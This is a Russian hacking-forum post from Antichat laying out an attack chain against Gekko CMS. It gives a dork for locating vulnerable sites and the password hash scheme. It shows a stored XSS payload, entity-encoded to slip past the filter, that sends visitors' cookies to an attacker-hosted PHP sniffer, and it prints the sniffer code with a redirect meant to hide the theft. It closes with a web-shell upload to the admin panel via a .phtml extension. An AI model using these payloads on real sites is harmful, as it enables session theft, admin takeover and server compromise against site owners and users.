Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   [ Обзор уязвимостей Gekko CMS ] (https://forum.antichat.xyz/showthread.php?t=60892)

Grey 03.02.2008 20:09

[ Обзор уязвимостей Gekko CMS ]
 
Gekko CMS

gekko-portal-0.8.2

[Общая информация]

Офф сайт: http://www.gekkoware.ru/
Для поиска сайтов с такой цмс вводим: "Powered by Gekko" или "© 2008 example.org"
Стандартный префикс для таблиц: gekkocms_
Таблица с пользователями: user
Колонки с данными для авторизации: username и password
Пароль хешируется, алгоритм хеширования: md5($username.$password)

[Активная XSS]

Из-за недостаточной фильтрации (фильтрация хоть и есть, но еще сырая) можно в разрешенные теги вписать скрипт.

Проверял на форуме при создание/ответе на тему содержание поста - код скрипта:

Код:

<a href="javascript:alert(document.cookie);">text</a> - таким образом при нажатии на ссылку выполнится код (в данном случае алерт)
Одинарные кавычки фильтруются (ровно как и двойные (кстати постить нужно именно в них)), но это легко обойти:

Код:

Кодируем alert('xss'); -> (кодируем) -> &#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41&#59
Получаем:

Код:

<a href="javascript:&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41&#59">text</a>
Алерт алертом, но лучше стырить куки.
Можно сделать к примеру что бы при нажатии на ссылку пользователь переходил на снифер и оставлял там куки:

Код:

document.location.replace('http://test2/q.php?q='+document.cookie); -> (кодируем) -> &#100&#111&#99&#117&#109&#101&#110&#116&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#114&#101&#112&#108&#97&#99&#101&#40&#39&#104&#116&#116&#112&#58&#47&#47&#116&#101&#115&#116&#50&#47&#113&#46&#112&#104&#112&#63&#113&#61&#39&#43&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#59
Получаем:

Код:

<a href="javascript:&#100&#111&#99&#117&#109&#101&#110&#116&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#114&#101&#112&#108&#97&#99&#101&#40&#39&#104&#116&#116&#112&#58&#47&#47&#116&#101&#115&#116&#50&#47&#113&#46&#112&#104&#112&#63&#113&#61&#39&#43&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#59">text</a>
По адресу http://test2/q.php?q= должен лежать наш снифер, который будет отлавливать куки:

PHP код:

<?php

$file 
fopen('log.txt','a');
fputs($file$_GET['q']."\r\n");
fclose($file);

?>

Что бы меньше палиться можно поставить редирет на какой нидь сайт:

PHP код:

<?php

$file 
fopen('log.txt','a');
fputs($file$_GET['q']."\r\n");
fclose($file);

header("Location: http://ya.ru");

?>

Таким образом пользователь при переходе по ссылке попадет на снифер, оставит там свои куки и будет перемещен на какой нидь сайт.

К сожалению в куках лежит индетификатор сессии, а это значит что пользоваться этими куками мы сможет пока пользователь не выйдет с сайта (т.е. его куки не будут удалены).
Но с другой стороны что бы попасть в админку вводить пароль не требуется, а это нам на руку.

====================================

Для кодирования вашего скрипта используйте сайт: http://ha.ckers.org/xss.html

Так же советую прочитать статью: Темная сторона Xss - вней вы найдете други способы использования xss.

[Заливка шелла]

Если вы успешно пробрались в админку, то залить шелл уже не проблема:

В админке переходим в 'Файлы' и заливаем файл, единственное но это то что расширение файла не может быть .php, но это уже не так страшно, подойжут любые из расширений: php3, phtml вообщем не важно какое главное что бы у аппача оно ассоциировалось с php.

Все шелл будет доступен по адресу:

http://site.ru/data/files/shell.phtml

(с) Grey


Время: 16:17